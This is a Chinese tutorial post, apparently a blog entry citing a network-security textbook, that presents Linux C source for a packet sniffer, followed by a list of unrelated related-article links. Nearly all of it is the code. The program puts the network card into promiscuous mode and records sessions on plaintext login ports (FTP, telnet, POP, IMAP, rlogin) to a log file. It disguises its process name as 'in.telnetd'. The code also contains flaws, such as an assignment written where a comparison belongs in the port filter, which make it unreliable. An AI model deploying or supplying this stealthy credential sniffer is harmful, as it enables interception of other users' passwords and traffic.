参考陈兵老师的《网络安全》一书
环境:kali linux+gcc 6.xx
具体的实现原理是,先将自己的网卡设置为混杂模式,然后从特殊的套接字中读取以太网帧,对读取的以太帧进行筛选、去报头。得到我们想要的数据。

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#include<ctype.h>
#include<netdb.h>
#include<sys/file.h>
#include<sys/time.h>
#include<time.h>
#include<sys/socket.h>
#include<sys/ioctl.h>
#include<sys/signal.h>
#include<net/if.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<netinet/ip.h>
#include<netinet/tcp.h>
#include<netinet/if_ether.h>#define CAPLEN 512
#define TIMEOUT 30
#define TCPLOG "tcp.log"struct etherpacket{struct ethhdr eth;//以太网帧的头部struct iphdr ip;//IP报头struct tcphdr tcp;//tcp报头char   buff[8192];//数据
}ep;struct{unsigned long saddr;//源地址unsigned long daddr;//目标地址unsigned short sport;//源端口unsigned short dport;//目标端口int bytes_read;char active;//目标主机是否处于活跃状态time_t start_time;
}victim;struct iphdr *ip;
struct tcphdr *tcp;
int s;
FILE *fp;int openintf(char *);
void clear_victim(void);
void cleanup(int);
char *hostlookup(unsigned long int);
int print_header(void);
int read_tcp(int);int filter(void){//对读取的以太帧进行筛选int p=0;if(ip->protocol!=6)return 0;if(victim.active!=0)if(victim.bytes_read>CAPLEN){fprintf(fp,"\n-- -- - [CAPLEN Exceeded]\n");clear_victim();return 0;}if(victim.active!=0)if(time(NULL)>(victim.start_time+TIMEOUT)){fprintf(fp,"\n-- -- - [Time Out]\n");return 0;}int dest=ntohs(tcp->dest);//ntohs(),将网络字节序转换为十进制字节序if(dest==21||dest==23||dest==110||dest==109||dest==143||dest==513||dest==106)p=1;if(victim.active==0)if(p=1)if(tcp->syn==1){victim.saddr=ip->saddr;victim.daddr=ip->daddr;victim.active=1;victim.sport=tcp->source;victim.dport=tcp->dest;victim.bytes_read=0;victim.start_time=time(NULL);print_header();}if(tcp->dest!=victim.dport)return 0;if(tcp->source!=victim.sport)return 0;if(ip->saddr!=victim.saddr)return 0;if(ip->daddr!=victim.daddr)return 0;if(tcp->rst==1){victim.active=0;alarm(0);fprintf(fp,"\n-- -- -[RST]\n");clear_victim();return 0;}if(tcp->fin==1){victim.active=0;alarm(0);fprintf(fp,"\n-- -- - [FIN]\n");clear_victim();return 0;}return 1;
}int read_tcp(int a){int x;while(1){x=read(s,(struct etherpacket*)&ep,sizeof(ep));//read(),从目标文件中读取以太网帧if(x>1){if(filter()==0)continue;x-=54;if(x<1)continue;return x;}}
}int print_header(void){fprintf(fp,"\n");fprintf(fp,"%s=>",hostlookup(ip->saddr));fprintf(fp,"%s[%d]\n",hostlookup(ip->daddr),ntohs(tcp->dest));
}int print_data(int datalen,char *data){int i=0;int t=0;victim.bytes_read+=datalen;for(i=0;i!=datalen;i++){if(data[i]==13){fprintf(fp,"\n");t=0;}if(isprint(data[i])){fprintf(fp,"%c",data[i]);t++;}if(t>75){t=0;fprintf(fp,"\n");}}
}char *hostlookup(unsigned long int in){static char blah[1024];struct in_addr i;struct hostent *he;i.s_addr=in;he=gethostbyaddr((char *)&i,sizeof(struct in_addr),AF_INET);//获取IP对应目标主机的主机名if(he==NULL)strcpy(blah,inet_ntoa(i));else strcpy(blah,he->h_name);return blah;
}void clear_victim(void){victim.saddr=0;victim.daddr=0;victim.sport=0;victim.dport=0;victim.active=0;victim.bytes_read=0;victim.start_time=0;
}void cleanup(int sig){fprintf(fp,"Exiting..\n");close(s);fclose(fp);exit(0);
}int openintf(char *d){int fd;struct ifreq ifr;int s;fd=socket(AF_INET,SOCK_PACKET,htons(0x800));//SOCK_PACKET用于获取以太网帧的套接字if(fd<0){perror("can't get SOCK_PACKET");exit(0);}strcpy(ifr.ifr_name,d);s=ioctl(fd,SIOCGIFFLAGS,&ifr);//I/O管道控制函数if(s<0){close(fd);perror("can't get flags");exit(0);}ifr.ifr_flags|=IFF_PROMISC;s=ioctl(fd,SIOCSIFFLAGS,&ifr);if(s<0)perror("can't set promiscuous mode");return fd;}int main(int argc,char *argv[]){sprintf(argv[0],"%s","in.telnetd");s=openintf("eth0");ip=(struct iphdr*)(((unsigned long)&ep.ip)-2);tcp=(struct tcphdr*)(((unsigned long)&ep.tcp)-2);if(argc==2)fp=stdout;else fp=fopen(TCPLOG,"at");if(fp==NULL){fprintf(stderr,"can't open log\n");exit(0);}clear_victim();for(;;){read_tcp(s);if(victim.active!=0)print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),ep.buff-2);sleep(1);fflush(fp);}return 0;
}

linux c实现一个简单的sniffer相关推荐

  1. 在Linux下写一个简单的驱动程序

    目录 一个简单的驱动 编写驱动程序 驱动程序的Makefile 驱动程序的测试程序 驱动程序的编译 加载驱动 init函数 创建节点 PS:/proc/devices 与 /dev的区别 运行上层应用 ...

  2. linux怎么创建一个c文件,如何在Ubuntu Linux中创建一个简单的C项目

    描述 步骤1:将VirtualBox安装到您的计算机上 VirtualBox是Oracle的一个产品,允许您运行虚拟机您的计算机意味着您可以在Windows或Apple计算机上运行Linux. 转到h ...

  3. linux制作共享服务器,Linux如何制作一个简单的共享服务器

    Linux下打开一个终端,cd 到某一个目录下,输入" python -m SimpleHTTPServer ",就可以将当前目录下的内容分享出去,如下: linuxidc@ ww ...

  4. 在Linux上搭建 一个简单的vsftpd服务器

    主要配置文件如下: /etc/vsftpd/vsftpd.conf 主配置文件 /etc/vsftpd.ftpusers 阻止用户访问FTP服务器的用户名称清单 /etc/vsftpd.userlis ...

  5. Linux C 实现一个简单的线程池

    https://www.cnblogs.com/GyForever1004/p/9185240.html 线程池的定义 线程池是一种多线程处理形式,处理过程中将任务添加到队列,然后在创建线程后自动启动 ...

  6. Linux中实现一个简单的进度条

    说起进度条,其实大家常常见到,比如说你在下载视频或文件的时候,提示你当前下载进度的就是我们今天要说的进度条,进度条的模拟实现是挺简单的,但是要做的比较实用还是需要注意很多地方的,下来我就一步步的深入分 ...

  7. 如何在Linux系统搭建一个简单的用户聊天室

    基于Linux的多用户聊天室 作者:Cabin_V 本篇文章是我大三下学期嵌入式系统设计课程中的期末大作业,时限是两个星期.刚开始拿到这个题目的时候都愣住了,觉得时间太少(当时还有其他课程的大作业)难 ...

  8. Linux下设计一个简单的线程池

    定义 什么是线程池?简单点说,线程池就是有一堆已经创建好了的线程,初始它们都处于空闲等待状态,当有新的任务需要处理的时候,就从这个池子里面取一个空闲等待的线程来处理该任务,当处理完成了就再次把该线程放 ...

  9. 如何在Linux上部署一个简单的Django项目

    参考文章:https://blog.csdn.net/a249900679/article/details/51527200 1.首先,在根目录底下建一个目录,存放python3.6.3版本,linu ...

最新文章

  1. Arrays.asList问题
  2. ASP.NET 2.0用户管理数据库的注册
  3. 幅度响应怎么计算_广播百科 频率响应
  4. ASIHTTPRequest的环境配置和使用示例
  5. opengl加载显示3D模型ase类型文件
  6. 基于SSD的Kafka应用层缓存架构设计与实现
  7. php中get_featured_posts()是什么意思,WordPress的Get_Posts()函数详解
  8. 基于Node.js实现压缩和解压缩的方法
  9. 【Elasticsearch】使用 Elasticsearch Painless 脚本以递归方式遍历 JSON 字段
  10. python入门程序异常_Python 入门 之 异常处理
  11. java静态分页_Javaweb分页
  12. 这可能是最全的JAVA入门教程 ~
  13. c语言大小写字母互换1005,1005 Jugs,1005jugs
  14. 又是一年1024(2019)
  15. mysql判断叠字_. 请在以下作品中选出皆使用了“叠字”手法的作品。( ___ )
  16. runnable、callable、consumer、supplier
  17. java文件中public 类名要和文件名保持一致以及其他细节
  18. ’Hive快速入门课程视频【菜鸟窝出品】
  19. 使用计算机连接bmcc,Blackmagic Cinema Camera BMCC MFT/EF 摄影机 bmcc
  20. Docker—苹果Mac安装Docker的两种方式

热门文章

  1. 孙叫兽进阶之路之软件测试基础知识
  2. 小程序: 在同一个文件夹中配置多个页面
  3. 几个非常实用的JQuery代码片段
  4. 开放才能进步!Angular和Wijmo一起走过的日子
  5. 网页中二维码识别规则
  6. css常用属性初总结:伪元素和伪元素
  7. 3. HTML中的容器标签
  8. DS博客作业06--图
  9. Bzoj3998 弦论
  10. 文献综述写作之“结构内容”